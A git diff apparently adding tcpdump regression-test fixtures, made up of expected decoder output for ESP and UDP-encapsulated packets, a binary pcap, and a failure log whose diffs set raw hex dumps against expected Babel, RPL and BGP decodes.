+IP 192.1.2.23 > 192.1.2.45: ESP(spi=0xd1234567,seq=0x5), length 132: IP 192.0.2.1 > 192.0.1.1: ICMP echo request, id 28416, seq 2304, length 64 (ipip-proto-4)
+IP 192.1.2.23 > 192.1.2.45: ESP(spi=0xd1234567,seq=0x6), length 132: IP 192.0.2.1 > 192.0.1.1: ICMP echo request, id 28416, seq 2560, length 64 (ipip-proto-4)
+IP 192.1.2.23 > 192.1.2.45: ESP(spi=0xd1234567,seq=0x7), length 132: IP 192.0.2.1 > 192.0.1.1: ICMP echo request, id 28416, seq 2816, length 64 (ipip-proto-4)
+IP 192.1.2.23 > 192.1.2.45: ESP(spi=0xd1234567,seq=0x8), length 132: IP 192.0.2.1 > 192.0.1.1: ICMP echo request, id 28416, seq 3072, length 64 (ipip-proto-4)
diff --git a/peasoup_examples/tests/tcpdump/tcpd_tests/espudp1.out b/peasoup_examples/tests/tcpdump/tcpd_tests/espudp1.out
new file mode 100644
index 0000000000000000000000000000000000000000..db8eafb848de026ddda253b92b9ef17231358d4a
--- /dev/null
+++ b/peasoup_examples/tests/tcpdump/tcpd_tests/espudp1.out
@@ -0,0 +1,8 @@
+IP 192.1.2.23.4500 > 192.1.2.45.4500: UDP-encap: ESP(spi=0x12345678,seq=0x1), length 116
+IP 192.1.2.23.4500 > 192.1.2.45.4500: UDP-encap: ESP(spi=0x12345678,seq=0x2), length 116:  ip-proto-227 49
+IP 192.1.2.23.4500 > 192.1.2.45.4500: UDP-encap: ESP(spi=0x12345678,seq=0x3), length 116: PIMv13, length 10
+IP 192.1.2.23.4500 > 192.1.2.45.4500: UDP-encap: ESP(spi=0x12345678,seq=0x4), length 116
+IP 192.1.2.23.4500 > 192.1.2.45.4500: UDP-encap: ESP(spi=0x12345678,seq=0x5), length 116
+IP 192.1.2.23.4500 > 192.1.2.45.4500: UDP-encap: ESP(spi=0x12345678,seq=0x6), length 116:  ip-proto-183 28
+IP 192.1.2.23.4500 > 192.1.2.45.4500: UDP-encap: ESP(spi=0x12345678,seq=0x7), length 116:  ip-proto-72 34
+IP 192.1.2.23.4500 > 192.1.2.45.4500: UDP-encap: ESP(spi=0x12345678,seq=0x8), length 116:  ip-proto-224 59
diff --git a/peasoup_examples/tests/tcpdump/tcpd_tests/espudp1.pcap b/peasoup_examples/tests/tcpdump/tcpd_tests/espudp1.pcap
new file mode 100644
index 0000000000000000000000000000000000000000..3387f9b641d44ea7a9bfdaaa3d5b0bd586ef72f8
Binary files /dev/null and b/peasoup_examples/tests/tcpdump/tcpd_tests/espudp1.pcap differ
diff --git a/peasoup_examples/tests/tcpdump/tcpd_tests/failure-outputs.txt b/peasoup_examples/tests/tcpdump/tcpd_tests/failure-outputs.txt
new file mode 100644
index 0000000000000000000000000000000000000000..ae740b5400f24f6bd9e27a754d810cadb99b821d
--- /dev/null
+++ b/peasoup_examples/tests/tcpdump/tcpd_tests/failure-outputs.txt
@@ -0,0 +1,1120 @@
+Failed test: mpbgp-linklocal-nexthop
+
+9,12c9,10
+< 	    no AFI 2 / SAFI 1 decoder
+< 	    0x0000:  0002 0120 dead beef 0000 0000 0000 0000
+< 	    0x0010:  0000 0001 fe80 0000 0000 0000 0000 01ff
+< 	    0x0020:  fe01 0000 0040 0004 0005 0000 0000
+---
+> 	    nexthop: dead:beef::1, fe80::1ff:fe01:0, nh-length: 32, no SNPA
+> 	      4:5::/64
+
+Failed test: dio01
+
+1,5c1
+<   M 12:00:00:64:64:23 ethertype IPv6 (0x86dd), length 80: 
+< 	0x0000:  6000 0000 0018 3aff fe80 0000 0000 0000  `.....:.........
+< 	0x0010:  1000 00ff fe64 6423 ff02 0000 0000 0000  .....dd#........
+< 	0x0020:  0000 0000 0000 0001 9b02 7769 000a 2a01  ..........wi..*.
+< 	0x0030:  7468 6973 6973 6d79 6e69 6365 6461 6731  thisismynicedag1
+---
+> IP6 (hlim 255, next-header ICMPv6 (58) payload length: 24) fe80::1000:ff:fe64:6423 > ff02::1: [icmp6 sum ok] ICMP6, RPL, (CLR)Destination Advertisement Object
+
+Failed test: babel1
+
+1,191c1,25
+<  In ethertype IPv6 (0x86dd), length 76: 
+< 	0x0000:  6000 0000 0014 1101 fe80 0000 0000 0000  `...............
+< 	0x0010:  68d3 1235 d068 1f9e ff02 0000 0000 0000  h..5.h..........
+< 	0x0020:  0000 0000 0001 0006 1a29 1a29 0014 0d90  .........).)....
+< 	0x0030:  2a02 0008 0406 0000 1f6a 07d0            *........j..
+< Out ethertype IPv6 (0x86dd), length 76: 
+< 	0x0000:  6000 0000 0014 1101 fe80 0000 0000 0000  `...............
+< 	0x0010:  3428 af91 0251 d626 ff02 0000 0000 0000  4(...Q.&........
+< 	0x0020:  0000 0000 0001 0006 1a29 1a29 0014 3f31  .........).)..?1
+< 	0x0030:  2a02 0008 0406 0000 9ca6 07d0            *...........
+<  In ethertype IPv6 (0x86dd), length 178: 
+< 	0x0000:  6000 0000 007a 1101 fe80 0000 0000 0000  `....z..........
+< 	0x0010:  68d3 1235 d068 1f9e ff02 0000 0000 0000  h..5.h..........
+< 	0x0020:  0000 0000 0001 0006 1a29 1a29 007a 6dff  .........).).zm.
+< 	0x0030:  2a02 006e 081d 02c0 8000 1f40 7e10 0001  *..n.......@~...
+< 	0x0040:  2001 0660 3301 8063 0218 84ff fe1a 615d  ...`3..c......a]
+< 	0x0050:  0201 0607 0601 00c0 a804 1908 1101 0020  ................
+< 	0x0060:  001f 407e 1000 01c0 a804 c302 0106 0812  ..@~............
+< 	0x0070:  02c0 800a 1f40 9cd5 0000 f3ff fea9 914e  .....@.........N
+< 	0x0080:  0200 080c 0200 0000 1f40 9cd5 00c4 0200  .........@......
+< 	0x0090:  0810 0100 2000 1f40 9cd5 0000 c0a8 0419  .......@........
+< 	0x00a0:  0200                                     ..
+<  In ethertype IPv6 (0x86dd), length 92: 
+< 	0x0000:  6000 0000 0024 1101 fe80 0000 0000 0000  `....$..........
+< 	0x0010:  68d3 1235 d068 1f9e ff02 0000 0000 0000  h..5.h..........
+< 	0x0020:  0000 0000 0001 0006 1a29 1a29 0024 314f  .........).).$1O
+< 	0x0030:  2a02 0018 0406 0000 1f6b 07d0 050e 0300  *........k......
+< 	0x0040:  0060 1770 3428 af91 0251 d626            .`.p4(...Q.&
+< Out ethertype IPv6 (0x86dd), length 76: 
+< 	0x0000:  6000 0000 0014 1101 fe80 0000 0000 0000  `...............
+< 	0x0010:  3428 af91 0251 d626 ff02 0000 0000 0000  4(...Q.&........
+< 	0x0020:  0000 0000 0001 0006 1a29 1a29 0014 3f30  .........).)..?0
+< 	0x0030:  2a02 0008 0406 0000 9ca7 07d0            *...........
+<  In ethertype IPv6 (0x86dd), length 76: 
+< 	0x0000:  6000 0000 0014 1101 fe80 0000 0000 0000  `...............
+< 	0x0010:  68d3 1235 d068 1f9e ff02 0000 0000 0000  h..5.h..........
+< 	0x0020:  0000 0000 0001 0006 1a29 1a29 0014 0d8e  .........).)....
+< 	0x0030:  2a02 0008 0406 0000 1f6c 07d0            *........l..
+< Out ethertype IPv6 (0x86dd), length 92: 
+< 	0x0000:  6000 0000 0024 1101 fe80 0000 0000 0000  `....$..........
+< 	0x0010:  3428 af91 0251 d626 ff02 0000 0000 0000  4(...Q.&........
+< 	0x0020:  0000 0000 0001 0006 1a29 1a29 0024 b411  .........).).$..
+< 	0x0030:  2a02 0018 0406 0000 9ca8 07d0 050e 0300  *...............
+< 	0x0040:  0060 1770 68d3 1235 d068 1f9e            .`.ph..5.h..
+<  In ethertype IPv6 (0x86dd), length 76: 
+< 	0x0000:  6000 0000 0014 1101 fe80 0000 0000 0000  `...............
+< 	0x0010:  68d3 1235 d068 1f9e ff02 0000 0000 0000  h..5.h..........
+< 	0x0020:  0000 0000 0001 0006 1a29 1a29 0014 0d8d  .........).)....
+< 	0x0030:  2a02 0008 0406 0000 1f6d 07d0            *........m..
+< Out ethertype IPv6 (0x86dd), length 76: 
+< 	0x0000:  6000 0000 0014 1101 fe80 0000 0000 0000  `...............
+< 	0x0010:  3428 af91 0251 d626 ff02 0000 0000 0000  4(...Q.&........
+< 	0x0020:  0000 0000 0001 0006 1a29 1a29 0014 3f2e  .........).)..?.
+< 	0x0030:  2a02 0008 0406 0000 9ca9 07d0            *...........
+<  In ethertype IPv6 (0x86dd), length 120: 
+< 	0x0000:  6000 0000 0040 1101 fe80 0000 0000 0000  `....@..........
+< 	0x0010:  68d3 1235 d068 1f9e ff02 0000 0000 0000  h..5.h..........
+< 	0x0020:  0000 0000 0001 0006 1a29 1a29 0040 0425  .........).).@.%
+< 	0x0030:  2a02 0034 081a 02c0 8000 1f40 9cd5 ffff  *..4.......@....
+< 	0x0040:  2001 0660 3301 8063 0218 f3ff fea9 914e  ...`3..c.......N
+< 	0x0050:  080a 0280 8010 1f40 9cd5 ffff 080a 0280  .......@........
+< 	0x0060:  8010 1f40 9cd5 ffff                      ...@....
+< Out ethertype IPv6 (0x86dd), length 100: 
+< 	0x0000:  6000 0000 002c 1101 fe80 0000 0000 0000  `....,..........
+< 	0x0010:  3428 af91 0251 d626 ff02 0000 0000 0000  4(...Q.&........
+< 	0x0020:  0000 0000 0001 0006 1a29 1a29 002c d909  .........).).,..
+< 	0x0030:  2a02 0020 0a1e 0280 9cd6 7f00 0218 f3ff  *...............
+< 	0x0040:  fea9 914e 2001 0660 3301 8063 0218 f3ff  ...N...`3..c....
+< 	0x0050:  fea9 914e                                ...N
+<  In ethertype IPv6 (0x86dd), length 106: 
+< 	0x0000:  6000 0000 0032 1101 fe80 0000 0000 0000  `....2..........
+< 	0x0010:  68d3 1235 d068 1f9e ff02 0000 0000 0000  h..5.h..........
+< 	0x0020:  cca6 c0f9 e182 5359 14ef 14ef 0032 4d5c  ......SY.....2M\
+< 	0x0030:  2b01 0101 de3e 5127 0218 f3ff fea9 914e  +....>Q'.......N
+< 	0x0040:  ffff ffff ffff ffff 0000 000e 0204 4d9e  ..............M.
+< 	0x0050:  145b 0304 0000 0eb8 0600                 .[........
+<  In ethertype IPv6 (0x86dd), length 106: 
+< 	0x0000:  6000 0000 0032 1101 fe80 0000 0000 0000  `....2..........
+< 	0x0010:  68d3 1235 d068 1f9e ff02 0000 0000 0000  h..5.h..........
+< 	0x0020:  cca6 c0f9 e182 5359 14ef 14ef 0032 4b65  ......SY.....2Ke
+< 	0x0030:  2b01 0202 df3e 5127 0218 f3ff fea9 914e  +....>Q'.......N
+< 	0x0040:  ffff ffff ffff ffff 0000 000e 0204 4d9e  ..............M.
+< 	0x0050:  145c 0304 0000 0ead 0600                 .\........
+< Out ethertype IPv6 (0x86dd), length 244: 
+< 	0x0000:  6000 0000 00bc 1140 fe80 0000 0000 0000  `......@........
+< 	0x0010:  3428 af91 0251 d626 fe80 0000 0000 0000  4(...Q.&........
+< 	0x0020:  68d3 1235 d068 1f9e 14ef 14ef 00bc e775  h..5.h.........u
+< 	0x0030:  2b01 0101 c9b8 3d0d 7940 147f b66d c329  +.....=.y@...m.)
+< 	0x0040:  0218 f3ff fea9 914e 0100 0098 0204 4d9e  .......N......M.
+< 	0x0050:  145c 0103 0400 000f 2009 0400 0000 0006  .\..............
+< 	0x0060:  1120 0106 6033 0180 6300 0000 0000 0000  ....`3..c.......
+< 	0x0070:  0040 0c30 2001 0660 3301 8063 0000 0000  .@.0...`3..c....
+< 	0x0080:  0000 0001 0000 0000 0000 0000 0000 ffff  ................
+< 	0x0090:  c0a8 0401 0000 0000 0000 0000 0000 ffff  ................
+< 	0x00a0:  869d a879 0d30 2001 0660 3301 8063 0000  ...y.0...`3..c..
+< 	0x00b0:  0000 0000 0001 0000 0000 0000 0000 0000  ................
+< 	0x00c0:  ffff 869d a879 2001 0660 3301 8063 0218  .....y...`3..c..
+< 	0x00d0:  f3ff fea9 914e 050c c0a8 0414 c0a8 0414  .....N..........
+< 	0x00e0:  c0a8 0414                                ....
+<  In ethertype IPv6 (0x86dd), length 106: 
+< 	0x0000:  6000 0000 0032 1101 fe80 0000 0000 0000  `....2..........
+< 	0x0010:  68d3 1235 d068 1f9e ff02 0000 0000 0000  h..5.h..........
+< 	0x0020:  cca6 c0f9 e182 5359 14ef 14ef 0032 41fd  ......SY.....2A.
+< 	0x0030:  2b01 0101 e03e 5127 0218 f3ff fea9 914e  +....>Q'.......N
+< 	0x0040:  7940 147f b66d c329 0200 000e 0204 4d9e  y@...m.)......M.
+< 	0x0050:  145c 0304 0000 0ebf 0600                 .\........
+< Out ethertype IPv6 (0x86dd), length 106: 
+< 	0x0000:  6000 0000 0032 1101 fe80 0000 0000 0000  `....2..........
+< 	0x0010:  3428 af91 0251 d626 ff02 0000 0000 0000  4(...Q.&........
+< 	0x0020:  cca6 c0f9 e182 5359 14ef 14ef 0032 fb42  ......SY.....2.B
+< 	0x0030:  2b01 0102 df3e 5127 0218 f3ff fea9 914e  +....>Q'.......N
+< 	0x0040:  ffff ffff ffff ffff 0000 000e 0204 4d9e  ..............M.
+< 	0x0050:  145c 0304 0000 0ead 0600                 .\........
+<  In ethertype IPv6 (0x86dd), length 96: 
+< 	0x0000:  6000 0000 0028 1101 fe80 0000 0000 0000  `....(..........
+< 	0x0010:  68d3 1235 d068 1f9e ff02 0000 0000 0000  h..5.h..........
+< 	0x0020:  0000 0000 0001 0006 1a29 1a29 0028 91cd  .........).).(..
+< 	0x0030:  2a02 001c 081a 02c0 8000 1f40 9cd5 ffff  *..........@....
+< 	0x0040:  2001 0660 3301 8063 0218 f3ff fea9 914e  ...`3..c.......N
+< Out ethertype IPv6 (0x86dd), length 100: 
+< 	0x0000:  6000 0000 002c 1101 fe80 0000 0000 0000  `....,..........
+< 	0x0010:  3428 af91 0251 d626 ff02 0000 0000 0000  4(...Q.&........
+< 	0x0020:  0000 0000 0001 0006 1a29 1a29 002c d909  .........).).,..
+< 	0x0030:  2a02 0020 0a1e 0280 9cd6 7f00 0218 f3ff  *...............
+< 	0x0040:  fea9 914e 2001 0660 3301 8063 0218 f3ff  ...N...`3..c....
+< 	0x0050:  fea9 914e                                ...N
+< Out ethertype IPv6 (0x86dd), length 244: 
+< 	0x0000:  6000 0000 00bc 1140 fe80 0000 0000 0000  `......@........
+< 	0x0010:  3428 af91 0251 d626 fe80 0000 0000 0000  4(...Q.&........
+< 	0x0020:  68d3 1235 d068 1f9e 14ef 14ef 00bc f573  h..5.h.........s
+< 	0x0030:  2b01 0202 cab8 3d0d 7940 147f b66d c329  +.....=.y@...m.)
+< 	0x0040:  0218 f3ff fea9 914e 0100 0098 0204 4d9e  .......N......M.
+< 	0x0050:  145d 0103 0400 000f 1009 0400 0000 0006  .]..............
+< 	0x0060:  1120 0106 6033 0180 6300 0000 0000 0000  ....`3..c.......
+< 	0x0070:  0040 0c30 2001 0660 3301 8063 0000 0000  .@.0...`3..c....
+< 	0x0080:  0000 0001 0000 0000 0000 0000 0000 ffff  ................
+< 	0x0090:  c0a8 0401 0000 0000 0000 0000 0000 ffff  ................
+< 	0x00a0:  869d a879 0d30 2001 0660 3301 8063 0000  ...y.0...`3..c..
+< 	0x00b0:  0000 0000 0001 0000 0000 0000 0000 0000  ................
+< 	0x00c0:  ffff 869d a879 2001 0660 3301 8063 0218  .....y...`3..c..
+< 	0x00d0:  f3ff fea9 914e 050c c0a8 0414 c0a8 0414  .....N..........
+< 	0x00e0:  c0a8 0414                                ....
+<  In ethertype IPv6 (0x86dd), length 106: 
+< 	0x0000:  6000 0000 0032 1101 fe80 0000 0000 0000  `....2..........
+< 	0x0010:  68d3 1235 d068 1f9e ff02 0000 0000 0000  h..5.h..........
+< 	0x0020:  cca6 c0f9 e182 5359 14ef 14ef 0032 4104  ......SY.....2A.
+< 	0x0030:  2b01 0101 e13e 5127 0218 f3ff fea9 914e  +....>Q'.......N
+< 	0x0040:  7940 147f b66d c329 0200 000e 0204 4d9e  y@...m.)......M.
+< 	0x0050:  145e 0304 0000 0eb6 0600                 .^........
+<  In ethertype IPv6 (0x86dd), length 92: 
+< 	0x0000:  6000 0000 0024 1101 fe80 0000 0000 0000  `....$..........
+< 	0x0010:  68d3 1235 d068 1f9e ff02 0000 0000 0000  h..5.h..........
+< 	0x0020:  0000 0000 0001 0006 1a29 1a29 0024 314c  .........).).$1L
+< 	0x0030:  2a02 0018 0406 0000 1f6e 07d0 050e 0300  *........n......
+< 	0x0040:  0060 1770 3428 af91 0251 d626            .`.p4(...Q.&
+<  In ethertype IPv6 (0x86dd), length 96: 
+< 	0x0000:  6000 0000 0028 1101 fe80 0000 0000 0000  `....(..........
+< 	0x0010:  68d3 1235 d068 1f9e ff02 0000 0000 0000  h..5.h..........
+< 	0x0020:  0000 0000 0001 0006 1a29 1a29 0028 91cd  .........).).(..
+< 	0x0030:  2a02 001c 081a 02c0 8000 1f40 9cd5 ffff  *..........@....
+< 	0x0040:  2001 0660 3301 8063 0218 f3ff fea9 914e  ...`3..c.......N
+< Out ethertype IPv6 (0x86dd), length 100: 
+< 	0x0000:  6000 0000 002c 1101 fe80 0000 0000 0000  `....,..........
+< 	0x0010:  3428 af91 0251 d626 ff02 0000 0000 0000  4(...Q.&........
+< 	0x0020:  0000 0000 0001 0006 1a29 1a29 002c d909  .........).).,..
+< 	0x0030:  2a02 0020 0a1e 0280 9cd6 7f00 0218 f3ff  *...............
+< 	0x0040:  fea9 914e 2001 0660 3301 8063 0218 f3ff  ...N...`3..c....
+< 	0x0050:  fea9 914e                                ...N
+< Out ethertype IPv6 (0x86dd), length 244: 
+< 	0x0000:  6000 0000 00bc 1140 fe80 0000 0000 0000  `......@........
+< 	0x0010:  3428 af91 0251 d626 fe80 0000 0000 0000  4(...Q.&........
+< 	0x0020:  68d3 1235 d068 1f9e 14ef 14ef 00bc e572  h..5.h.........r
+< 	0x0030:  2b01 0101 cbb8 3d0d 7940 147f b66d c329  +.....=.y@...m.)
+< 	0x0040:  0218 f3ff fea9 914e 0300 0098 0204 4d9e  .......N......M.
+< 	0x0050:  145f 0103 0400 000f 1e09 0400 0000 0006  ._..............
+< 	0x0060:  1120 0106 6033 0180 6300 0000 0000 0000  ....`3..c.......
+< 	0x0070:  0040 0c30 2001 0660 3301 8063 0000 0000  .@.0...`3..c....
+< 	0x0080:  0000 0001 0000 0000 0000 0000 0000 ffff  ................
+< 	0x0090:  c0a8 0401 0000 0000 0000 0000 0000 ffff  ................
+< 	0x00a0:  869d a879 0d30 2001 0660 3301 8063 0000  ...y.0...`3..c..
+< 	0x00b0:  0000 0000 0001 0000 0000 0000 0000 0000  ................
+< 	0x00c0:  ffff 869d a879 2001 0660 3301 8063 0218  .....y...`3..c..
+< 	0x00d0:  f3ff fea9 914e 050c c0a8 0414 c0a8 0414  .....N..........
+< 	0x00e0:  c0a8 0414                                ....
+<  In ethertype IPv6 (0x86dd), length 112: 
+< 	0x0000:  6000 0000 0038 0001 fe80 0000 0000 0000  `....8..........
+< 	0x0010:  68d3 1235 d068 1f9e ff02 0000 0000 0000  h..5.h..........
+< 	0x0020:  0000 0000 0000 0016 3a00 0502 0000 0100  ........:.......
+< 	0x0030:  8f00 3f60 0000 0002 0400 0000 ff02 0000  ..?`............
+< 	0x0040:  0000 0000 0000 0000 0001 0006 0400 0000  ................
+< 	0x0050:  ff02 0000 0000 0000 cca6 c0f9 e182 5359  ..............SY
+---
+> IP6 fe80::68d3:1235:d068:1f9e.6697 > ff02::1:6.6697: babel 2 (8) hello
+> IP6 fe80::3428:af91:251:d626.6697 > ff02::1:6.6697: babel 2 (8) hello
+> IP6 fe80::68d3:1235:d068:1f9e.6697 > ff02::1:6.6697: babel 2 (110) update/prefix/id nh update update/prefix/id update update
+> IP6 fe80::68d3:1235:d068:1f9e.6697 > ff02::1:6.6697: babel 2 (24) hello ihu
+> IP6 fe80::3428:af91:251:d626.6697 > ff02::1:6.6697: babel 2 (8) hello
+> IP6 fe80::68d3:1235:d068:1f9e.6697 > ff02::1:6.6697: babel 2 (8) hello
+> IP6 fe80::3428:af91:251:d626.6697 > ff02::1:6.6697: babel 2 (24) hello ihu
+> IP6 fe80::68d3:1235:d068:1f9e.6697 > ff02::1:6.6697: babel 2 (8) hello
+> IP6 fe80::3428:af91:251:d626.6697 > ff02::1:6.6697: babel 2 (8) hello
+> IP6 fe80::68d3:1235:d068:1f9e.6697 > ff02::1:6.6697: babel 2 (52) update/prefix/id update/prefix update/prefix
+> IP6 fe80::3428:af91:251:d626.6697 > ff02::1:6.6697: babel 2 (32) mh-request
+> IP6 fe80::68d3:1235:d068:1f9e.5359 > ff02::cca6:c0f9:e182:5359.5359: UDP, length 42
+> IP6 fe80::68d3:1235:d068:1f9e.5359 > ff02::cca6:c0f9:e182:5359.5359: UDP, length 42
+> IP6 fe80::3428:af91:251:d626.5359 > fe80::68d3:1235:d068:1f9e.5359: UDP, length 180
+> IP6 fe80::68d3:1235:d068:1f9e.5359 > ff02::cca6:c0f9:e182:5359.5359: UDP, length 42
+> IP6 fe80::3428:af91:251:d626.5359 > ff02::cca6:c0f9:e182:5359.5359: UDP, length 42
+> IP6 fe80::68d3:1235:d068:1f9e.6697 > ff02::1:6.6697: babel 2 (28) update/prefix/id
+> IP6 fe80::3428:af91:251:d626.6697 > ff02::1:6.6697: babel 2 (32) mh-request
+> IP6 fe80::3428:af91:251:d626.5359 > fe80::68d3:1235:d068:1f9e.5359: UDP, length 180
+> IP6 fe80::68d3:1235:d068:1f9e.5359 > ff02::cca6:c0f9:e182:5359.5359: UDP, length 42
+> IP6 fe80::68d3:1235:d068:1f9e.6697 > ff02::1:6.6697: babel 2 (24) hello ihu
+> IP6 fe80::68d3:1235:d068:1f9e.6697 > ff02::1:6.6697: babel 2 (28) update/prefix/id
+> IP6 fe80::3428:af91:251:d626.6697 > ff02::1:6.6697: babel 2 (32) mh-request
+> IP6 fe80::3428:af91:251:d626.5359 > fe80::68d3:1235:d068:1f9e.5359: UDP, length 180
+> IP6 fe80::68d3:1235:d068:1f9e > ff02::16: HBH ICMP6, multicast listener report v2, 2 group record(s), length 48
+
+Failed test: babel1v
+
+1,191c1,51
+<  In ethertype IPv6 (0x86dd), length 76: 
+< 	0x0000:  6000 0000 0014 1101 fe80 0000 0000 0000  `...............
+< 	0x0010:  68d3 1235 d068 1f9e ff02 0000 0000 0000  h..5.h..........
+< 	0x0020:  0000 0000 0001 0006 1a29 1a29 0014 0d90  .........).)....
+< 	0x0030:  2a02 0008 0406 0000 1f6a 07d0            *........j..
+< Out ethertype IPv6 (0x86dd), length 76: 
+< 	0x0000:  6000 0000 0014 1101 fe80 0000 0000 0000  `...............
+< 	0x0010:  3428 af91 0251 d626 ff02 0000 0000 0000  4(...Q.&........
+< 	0x0020:  0000 0000 0001 0006 1a29 1a29 0014 3f31  .........).)..?1
+< 	0x0030:  2a02 0008 0406 0000 9ca6 07d0            *...........
+<  In ethertype IPv6 (0x86dd), length 178: 
+< 	0x0000:  6000 0000 007a 1101 fe80 0000 0000 0000  `....z..........
+< 	0x0010:  68d3 1235 d068 1f9e ff02 0000 0000 0000  h..5.h..........
+< 	0x0020:  0000 0000 0001 0006 1a29 1a29 007a 6dff  .........).).zm.
+< 	0x0030:  2a02 006e 081d 02c0 8000 1f40 7e10 0001  *..n.......@~...
+< 	0x0040:  2001 0660 3301 8063 0218 84ff fe1a 615d  ...`3..c......a]
+< 	0x0050:  0201 0607 0601 00c0 a804 1908 1101 0020  ................
+< 	0x0060:  001f 407e 1000 01c0 a804 c302 0106 0812  ..@~............
+< 	0x0070:  02c0 800a 1f40 9cd5 0000 f3ff fea9 914e  .....@.........N
+< 	0x0080:  0200 080c 0200 0000 1f40 9cd5 00c4 0200  .........@......
+< 	0x0090:  0810 0100 2000 1f40 9cd5 0000 c0a8 0419  .......@........
+< 	0x00a0:  0200                                     ..
+<  In ethertype IPv6 (0x86dd), length 92: 
+< 	0x0000:  6000 0000 0024 1101 fe80 0000 0000 0000  `....$..........
+< 	0x0010:  68d3 1235 d068 1f9e ff02 0000 0000 0000  h..5.h..........
+< 	0x0020:  0000 0000 0001 0006 1a29 1a29 0024 314f  .........).).$1O
+< 	0x0030:  2a02 0018 0406 0000 1f6b 07d0 050e 0300  *........k......
+< 	0x0040:  0060 1770 3428 af91 0251 d626            .`.p4(...Q.&
+< Out ethertype IPv6 (0x86dd), length 76: 
+< 	0x0000:  6000 0000 0014 1101 fe80 0000 0000 0000  `...............
+< 	0x0010:  3428 af91 0251 d626 ff02 0000 0000 0000  4(...Q.&........
+< 	0x0020:  0000 0000 0001 0006 1a29 1a29 0014 3f30  .........).)..?0
+< 	0x0030:  2a02 0008 0406 0000 9ca7 07d0            *...........
+<  In ethertype IPv6 (0x86dd), length 76: 
+< 	0x0000:  6000 0000 0014 1101 fe80 0000 0000 0000  `...............
+< 	0x0010:  68d3 1235 d068 1f9e ff02 0000 0000 0000  h..5.h..........
+< 	0x0020:  0000 0000 0001 0006 1a29 1a29 0014 0d8e  .........).)....
+< 	0x0030:  2a02 0008 0406 0000 1f6c 07d0            *........l..
+< Out ethertype IPv6 (0x86dd), length 92: 
+< 	0x0000:  6000 0000 0024 1101 fe80 0000 0000 0000  `....$..........
+< 	0x0010:  3428 af91 0251 d626 ff02 0000 0000 0000  4(...Q.&........
+< 	0x0020:  0000 0000 0001 0006 1a29 1a29 0024 b411  .........).).$..
+< 	0x0030:  2a02 0018 0406 0000 9ca8 07d0 050e 0300  *...............
+< 	0x0040:  0060 1770 68d3 1235 d068 1f9e            .`.ph..5.h..
+<  In ethertype IPv6 (0x86dd), length 76: 
+< 	0x0000:  6000 0000 0014 1101 fe80 0000 0000 0000  `...............
+< 	0x0010:  68d3 1235 d068 1f9e ff02 0000 0000 0000  h..5.h..........
+< 	0x0020:  0000 0000 0001 0006 1a29 1a29 0014 0d8d  .........).)....
+< 	0x0030:  2a02 0008 0406 0000 1f6d 07d0            *........m..
+< Out ethertype IPv6 (0x86dd), length 76: 
+< 	0x0000:  6000 0000 0014 1101 fe80 0000 0000 0000  `...............
+< 	0x0010:  3428 af91 0251 d626 ff02 0000 0000 0000  4(...Q.&........
+< 	0x0020:  0000 0000 0001 0006 1a29 1a29 0014 3f2e  .........).)..?.
+< 	0x0030:  2a02 0008 0406 0000 9ca9 07d0            *...........
+<  In ethertype IPv6 (0x86dd), length 120: 
+< 	0x0000:  6000 0000 0040 1101 fe80 0000 0000 0000  `....@..........
+< 	0x0010:  68d3 1235 d068 1f9e ff02 0000 0000 0000  h..5.h..........
+< 	0x0020:  0000 0000 0001 0006 1a29 1a29 0040 0425  .........).).@.%
+< 	0x0030:  2a02 0034 081a 02c0 8000 1f40 9cd5 ffff  *..4.......@....
+< 	0x0040:  2001 0660 3301 8063 0218 f3ff fea9 914e  ...`3..c.......N
+< 	0x0050:  080a 0280 8010 1f40 9cd5 ffff 080a 0280  .......@........
+< 	0x0060:  8010 1f40 9cd5 ffff                      ...@....
+< Out ethertype IPv6 (0x86dd), length 100: 
+< 	0x0000:  6000 0000 002c 1101 fe80 0000 0000 0000  `....,..........
+< 	0x0010:  3428 af91 0251 d626 ff02 0000 0000 0000  4(...Q.&........
+< 	0x0020:  0000 0000 0001 0006 1a29 1a29 002c d909  .........).).,..
+< 	0x0030:  2a02 0020 0a1e 0280 9cd6 7f00 0218 f3ff  *...............
+< 	0x0040:  fea9 914e 2001 0660 3301 8063 0218 f3ff  ...N...`3..c....
+< 	0x0050:  fea9 914e                                ...N
+<  In ethertype IPv6 (0x86dd), length 106: 
+< 	0x0000:  6000 0000 0032 1101 fe80 0000 0000 0000  `....2..........
+< 	0x0010:  68d3 1235 d068 1f9e ff02 0000 0000 0000  h..5.h..........
+< 	0x0020:  cca6 c0f9 e182 5359 14ef 14ef 0032 4d5c  ......SY.....2M\
+< 	0x0030:  2b01 0101 de3e 5127 0218 f3ff fea9 914e  +....>Q'.......N
+< 	0x0040:  ffff ffff ffff ffff 0000 000e 0204 4d9e  ..............M.
+< 	0x0050:  145b 0304 0000 0eb8 0600                 .[........
+<  In ethertype IPv6 (0x86dd), length 106: 
+< 	0x0000:  6000 0000 0032 1101 fe80 0000 0000 0000  `....2..........
+< 	0x0010:  68d3 1235 d068 1f9e ff02 0000 0000 0000  h..5.h..........
+< 	0x0020:  cca6 c0f9 e182 5359 14ef 14ef 0032 4b65  ......SY.....2Ke
+< 	0x0030:  2b01 0202 df3e 5127 0218 f3ff fea9 914e  +....>Q'.......N
+< 	0x0040:  ffff ffff ffff ffff 0000 000e 0204 4d9e  ..............M.
+< 	0x0050:  145c 0304 0000 0ead 0600                 .\........
+< Out ethertype IPv6 (0x86dd), length 244: 
+< 	0x0000:  6000 0000 00bc 1140 fe80 0000 0000 0000  `......@........
+< 	0x0010:  3428 af91 0251 d626 fe80 0000 0000 0000  4(...Q.&........
+< 	0x0020:  68d3 1235 d068 1f9e 14ef 14ef 00bc e775  h..5.h.........u
+< 	0x0030:  2b01 0101 c9b8 3d0d 7940 147f b66d c329  +.....=.y@...m.)
+< 	0x0040:  0218 f3ff fea9 914e 0100 0098 0204 4d9e  .......N......M.
+< 	0x0050:  145c 0103 0400 000f 2009 0400 0000 0006  .\..............
+< 	0x0060:  1120 0106 6033 0180 6300 0000 0000 0000  ....`3..c.......
+< 	0x0070:  0040 0c30 2001 0660 3301 8063 0000 0000  .@.0...`3..c....
+< 	0x0080:  0000 0001 0000 0000 0000 0000 0000 ffff  ................
+< 	0x0090:  c0a8 0401 0000 0000 0000 0000 0000 ffff  ................
+< 	0x00a0:  869d a879 0d30 2001 0660 3301 8063 0000  ...y.0...`3..c..
+< 	0x00b0:  0000 0000 0001 0000 0000 0000 0000 0000  ................
+< 	0x00c0:  ffff 869d a879 2001 0660 3301 8063 0218  .....y...`3..c..
